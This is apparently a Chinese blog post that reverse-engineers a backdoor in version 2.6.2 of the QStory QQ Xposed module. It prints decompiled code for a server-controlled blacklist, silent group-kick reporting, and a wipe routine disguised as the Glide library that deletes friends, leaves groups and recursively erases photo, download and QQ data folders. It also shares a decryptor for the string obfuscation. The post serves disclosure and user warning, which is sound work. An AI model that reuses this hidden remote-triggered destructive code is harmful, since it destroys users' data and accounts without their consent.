写在前面
我自己就是 QStory 的用户,用得挺舒服。所以当我今天在群里刷到”QStory 带后门”这个瓜的时候,第一反应其实是不信的 直到我自己把 APK 拖进了反编译器。
事情的起因是今天看到有人转发了一份”某 QQ 模块疑似存在恶意后门”的分析(下发账号信息、初始化后门、毁号函数那几张图,相信不少人都刷到了)。


分析过程
样本于思路
我下载了样本两个,做版本对比:QStory_2.6.2-release.apk(网传带后门版本,官方频道下载)与 QStory_2.6.3-release.apk(开发者”修复”后的版本)
这个 APK 用的是 R8 + 中文 Unicode 字符混淆 有一说一这个混淆挺有诗意的,但是混淆对于逆向分析是真的恶心,jadx 会把它们重命名成 C9070 、AbstractC9073 之类。但网传分析已经给了两个接口名 queryBlacklist onKickBlacklist,而 Retrofit 注解里的 URL 是明文,搜得到就能顺藤摸瓜

Retrofit 接口定义
首先看到”飘花落叶言苏哲子兰世楪.飘花落叶言子楪世苏哲兰”这个类名

public interface InterfaceC9134 {
@InterfaceC9339("/user-v2/onKickBlacklist")
@InterfaceC9324
InterfaceC6159<QSResult<Integer>> m15066(
@InterfaceC9326("troop") String str,
@InterfaceC9326("troopName") String str2,
@InterfaceC9326("operator") String str3,
@InterfaceC9326("operatorName") String str4,
@InterfaceC9326("uin") String str5,
@InterfaceC9326("uinName") String str6,
@InterfaceC9326("reason") String str7
);
@InterfaceC9323("/user-v2/queryBlacklist")
InterfaceC6159<QSResult<List<String>>> m15067();
}
这是一个标准的 Retrofit 接口,两个方法对应两个后端 API。 作用是从服务器拉一串被拉黑的 QQ 号列表。m15066() 带 @InterfaceC9339(“/user-v2/onKickBlacklist”) ,七个参数全是表单字段:troop(群号)、troopName(群名)、operator(当前登陆的用户)、operatorName(操作者昵称)、uin(被踢的人 QQ 号)、uinName(被踢者昵称)、reason(原因)
简单来说就是 这段代码可以利用你qq群的管理员权限 在你不知情的情况下踢掉任何人
数据结构
接口找到了 那么我们来看看这个身份是怎么分配的 如何判断你的qq号是否会被毁号
我们再看看user.java

User 是一个可序列化的身份实体,关键字段是 userIdentity。getCurrentUser() 是典型的单例懒加载:如果还没拿到服务器身份(currentUser == null),就构造一个默认对象,userIdentity 设置为 0(普通用户),name / uin用 AbstractC3164.m7228(long) 解密出来的默认值填充。AbstractC3164.m7228是贯穿全模块的字符串解密函数,传一个 long类型的常量进去、吐出明文字符串——这个函数后面会专门拆。
接下来真正参与网络序列化、跟服务器字段对接的是 C9070,它用 fastjson2 的注解把字段名暴露得明明白白
public class C9070 {
@InterfaceC8663(name = "sponsorEndDate", ordinal = 6)
public LocalDateTime f25101;
@InterfaceC8663(name = "uin", ordinal = 1)
public String f25106 = AbstractC3164.m7228(-3937561652678100391L);
@InterfaceC8663(name = "nickname", ordinal = 2)
public String f25105 = AbstractC3164.m7228(-3937627554656290215L);
@InterfaceC8663(name = "identity", ordinal = 3)
public Integer f25104 = 0;
@InterfaceC8663(name = "identityName", ordinal = 4)
public String f25103 = AbstractC3164.m7228(-3937627554656290215L);
@InterfaceC8663(name = "label", ordinal = 5)
public String f25102 = AbstractC3164.m7228(-3937561979095614887L);
}

C9070 是 user/info 接口返回的 JSON 对应的实体。@InterfaceC8663(name =) 是 fastjson2 的字段名注解,逐个映射出服务器下发的字段:sponsorEndDate、uin、nickname、identity、identityName、label sponsorEndDate(赞助账号结束的期日)
核心是 f25104(对应 JSON 的 identity)。这个整数在后面的逻辑里被用作三态开关:
identity >= 1:赞助账号,解锁付费功能;
identity == 0:普通账号,正常使用;
identity < 0:黑名单账号,触发毁号。
另外注意 f25106 中的“uin”的默认值来自常量 -3937561652678100391L,我用解密器解出来是字符串 “0”。记住这个 接下来我会讲
后门总入口
后门入口藏在一个伪装极深的位置:androidx.compose.ui.platform这个包下的一个 Runnable,用 switch 分发十几种初始化任务

case 9:
try {
AbstractC9075.f25122.execute(new RunnableC1984(new C7327(), 18));
AbstractC3172.m7325();
C4555 c4555 = new C4555(3);
if (!AbstractC3164.m7228(-3937692808094418343L).equals(c4555.m9625())) {
AbstractC6578.m12122(AbstractC3164.m7228(-3937692640590693799L));
new C7235(new C2611(24)).start();
}
new C7235(new C1092(c4555, 24)).start();
ArrayList arrayList = AbstractC9073.f25120;
C9135.m15071().m15067().mo11667(new C7324(24));
return;
} catch (Exception e4) {
String m7228 = AbstractC3164.m7228(-3937554879514674599L);
AbstractC6581.m12135(m7228, e4.toString(), e4, true);
return;
}
1.这个AbstractC9075.f25122.execute(new RunnableC1984(new C7327(), 18))——往线程池丢一个 case 18 任务,异步去请求 user/info 接口、把身份信息写本地缓存(case 18实现见下)
2.bstractC3172.m7325() ——调用毁号函数,读刚才缓存的身份,identity < 0 就执行账号销毁
// RunnableC1984.java —— case 18
case 18:
try {
C7327.m12808();
Object obj = C9135.m15068().m15054().execute().f16101;
C9070 c9070 = (C9070) ((QSResult) obj).getData();
new C9092().m15026(c9070, AbstractC3164.m7228(-3937706766738130343L));
// ...
} catch (Exception e6) { /* ... */ }
C9135.m15068().m15054().execute() 是一次同步网络请求,拿到 QSResult 后 getData() 强转成 C9070,也就是上一节那个带 identity 的身份实体。随后 new C9092().m15026(c9070, m7228(-3937706766738130343L)) 把它写进本地缓存,缓存键 -3937706766738130343L 解密后是 “user_info”
这个设计,身份信息先被异步拉取并落地到本地缓存,毁号函数 m7325() 读的是缓存而不是直接读网络返回。好处是即便某次网络抖动,毁号判定依然能基于上一次缓存执行——这让”毁号”操作更稳定
踢人核心
AbstractC9073 这个类只有两个方法,但是”判定 + 踢人 + 上报 + 豁免”全包了

public abstract class AbstractC9073 {
public static ArrayList f25120 = new ArrayList();
public static final ArrayList f25119 = new ArrayList();
public static final void m15012(String str, String str2, String str3) {
AbstractC6561.m12107(-3937706981486495143L, -3937586675157566887L, str);
str2.getClass();
if (!f25119.contains(str) || !m15013(str2)) {
return;
}
QQNTTroopTool.kickMember(str, str2, true);
InterfaceC9134 m15071 = C9135.m15071();
String groupName = QQNTTroopTool.getGroupName(str);
String currentUin = QQEnvTool.getCurrentUin();
String currentAccountNickName = QQEnvTool.getCurrentAccountNickName();
String memberName = QQNTTroopTool.getMemberName(str, str2);
m15071.m15066(str, groupName, currentUin, currentAccountNickName,
str2, memberName, str3).mo11667(new C7327(24));
}
public static final boolean m15013(String str) {
str.getClass();
if (str.equals(AbstractC3164.m7228(-3937561652678100391L))) {
return false;
}
return f25120.contains(str);
}
}
m15012:三个参数 str / str2 / str3 分别是群号、被踢 QQ 号、原因。第一行 f25119.contains(str) 判断这个群是否在”监控群队列”里(f25119 存的是你作为管理员的群),m15013(str2) 判断这个号是否该踢;两个条件任一不满足就 return。通过之后,QQNTTroopTool.kickMember(str, str2, true) 真正执行踢人,第三个参数 true 表示踢出并永久拉黑。接着收集群名、当前登录 QQ(getCurrentUin(),即 operator)、当前昵称、被踢者昵称,调 m15066() 把这些信息 POST 到 /user-v2/onKickBlacklist——也就是把”用户踢了谁”上报给服务器。
m15013(黑名单判定 + 豁免):先把传入的 QQ 号跟 m7228(-3937561652678100391L) 比较,这个常量解密后是 “0”——命中就 return false(永不踢)。这正是第三节 C9070 里 uin 的默认值,是一道兜底保险:当服务器没下发有效身份、uin 取默认占位 “0” 时,这个占位号被硬豁免,避免误伤。不命中豁免,就 f25120.contains(str) 查黑名单容器,在名单里就返回 true。
至于 f25119(监控群)是怎么填满的:在另一个初始化分支里,模块会遍历你的所有群、判断你是不是管理员/群主,是就 f25119.add(群号)。整个过程没有任何”询问用户”——你是管理员的群,被静默纳入监控范围。
交互的完整链路:case 9 触发 -> case 18 拉 user/info 写缓存 -> m7325() 判 identity < 0 毁号 -> queryBlacklist 拉黑名单填进 f25120 -> 扫描所有群把你管理的群填进 f25119 -> 进群/发消息事件触发 m15012() → 命中黑名单且不在豁免 -> kickMember 踢人 -> onKickBlacklist 上报。我还特意确认过:QStory 正经 UI 代码(top.suzhelan.qstory)里完全不引用 AbstractC9073,它是独立运行的后门
identity < 0 毁号函数
来到最精彩的地方
这个m7325() 是最危险的 整个毁号逻辑就在一个方法里

public static void m7325() {
try {
C9070 c9070 = new C9070();
c9070.f25106 = AbstractC3164.m7228(-3937561652678100391L);
c9070.f25105 = AbstractC3164.m7228(-3937706809687803303L);
c9070.f25104 = 0;
c9070.f25103 = AbstractC3164.m7228(-3937706809687803303L);
C9070 c90702 = (C9070) new C9092().m15027(C9070.class,
AbstractC3164.m7228(-3937706766738130343L));
if (c90702 != null) {
c9070 = c90702;
}
if (c9070.f25104.intValue() < 0) {
for (FriendInfo friendInfo : QQFriendTool.getAllFriend()) {
QQFriendTool.deleteFriend(friendInfo.uin);
}
Iterator it = AbstractC9384.m15232().iterator();
while (it.hasNext()) {
QQNTTroopSettingTool.quitGroup(((GroupInfo) it.next()).GroupUin);
}
String[] strArr = {
AbstractC3164.m7228(-3937636879030289831L),
AbstractC3164.m7228(-3937636767361140135L),
AbstractC3164.m7228(-3937636707231597991L),
AbstractC3164.m7228(-3937636595562448295L),
AbstractC3164.m7228(-3937636428058723751L)
};
for (int i = 0; i < 5; i++) {
AbstractC0454.m1721(new File(strArr[i]));
}
for (ActivityManager.AppTask appTask :
((ActivityManager) AbstractC6756.f17805.getApplicationContext()
.getSystemService(AbstractC3164.m7228(-3937561390685095335L)))
.getAppTasks()) {
appTask.finishAndRemoveTask();
}
}
} catch (Exception unused) {
}
}
方法首先 new C9070() 造一个默认身份对象,f25104(identity)置 0。接着 new C9092().m15027(C9070.class, m7228(-3937706766738130343L)) 从本地缓存读取——缓存键 -3937706766738130343L 解密就是 “user_info”,正是 case 18 写进去的那份服务器身份;如果缓存非空(c90702 != null)就用它覆盖默认对象。
然后是核心判定 if (c9070.f25104.intValue() < 0)——只要服务器下发的 identity 是负数,就进入毁号四连:
遍历全部好友逐个删除;

遍历全部群逐个退出

递归删除 5 个本地目录,m1721 是递归删除工具

这5 个路径常量,我用自己写的解密器解出来,是这样:
-3937636879030289831L => /storage/emulated/0/Pictures/
-3937636767361140135L => /storage/emulated/0/DCIM/
-3937636707231597991L => /storage/emulated/0/Download/
-3937636595562448295L => /data/data/com.tencent.mobileqq/
-3937636428058723751L => /data/user/0/com.tencent.mobileqq/
后把 QQ 的任务全部结束、杀掉进程

逐段讲解我解密出来的这组明文:前三个是 /Pictures/(相册)、/DCIM/(相机照片)、/Download/(下载目录)——全是用户的个人文件,跟 QQ 毫无关系;后两个才是 QQ 的应用数据目录。也就是说,这个”毁号”不止销毁 QQ 社交关系和数据,还会递归删除你手机的相册、相机照片和下载文件,性质已经接近勒索软件。而触发它的 identity,完全由开发者服务器单方面下发——理论上他想让谁的 identity 变负,谁的号就会在下次启动时自毁
这段毁号代码放在 com.bumptech.glide 包下——Glide 是 Google 那个著名的图片加载库。把毁号逻辑伪装成知名第三方库,赌的就是审计时会跳过可信库
解密器分享
我把它啃了一遍,算法是:取 long 低 32 位作种子 -> 跑一遍 SplitMix64 finalizer -> 过两轮 16-bit Feistel/ARX 结构 -> 用结果跟 long 高 32 位 XOR、还原出字符串表索引 -> 去一张 Base64 编码的查找表(11 个分块、约 84809 字符)里逐字符流式解出
static long s(long x) {
x ^= (x >>> 33);
x *= 0x62a9d9ed799705f5L;
x ^= (x >>> 28);
x *= 0xcb24d0a5c88c35b3L;
return x >>> 32;
}
static String d(long e) {
long a = s(e & 0xFFFFFFFFL);
a = f(a);
long b = (a >>> 32) & 0xFFFFL;
a = f(a);
long c = (a >>> 16) & 0xFFFF0000L;
int p = (int)((e >>> 32) ^ b ^ c);
a = l(p, a);
int n = (int)((a >>> 32) & 0xFFFFL);
char[] r = new char[n];
for (int i = 0; i < n; i++) {
a = l(p + i + 1, a);
r[i] = (char)((a >>> 32) & 0xFFFFL);
}
return new String(r);
}
写在最后
还在用 2.6.2 的,尽快升级或卸载,并检查有没有异常的好友删除、退群记录。
Xposed 模块运行在你 QQ 进程里,拥有你 QQ 的全部数据权限,装之前请掂量信任成本。好用 != 可信
开发者的回复也是相当幽默

当然 也确实没有迫害普通用户,在群组中开发者解释说明被挂进黑名单的,大多是辱骂过开发者、或在群里发不良内容的,但是偷偷植入后门,借用户账号踢人、甚至设置毁号逻辑破坏数据是事实,这是属于很极端的报复手段,我并不支持这么做,后续开发者在新版本也移除了之前这些位置的后门

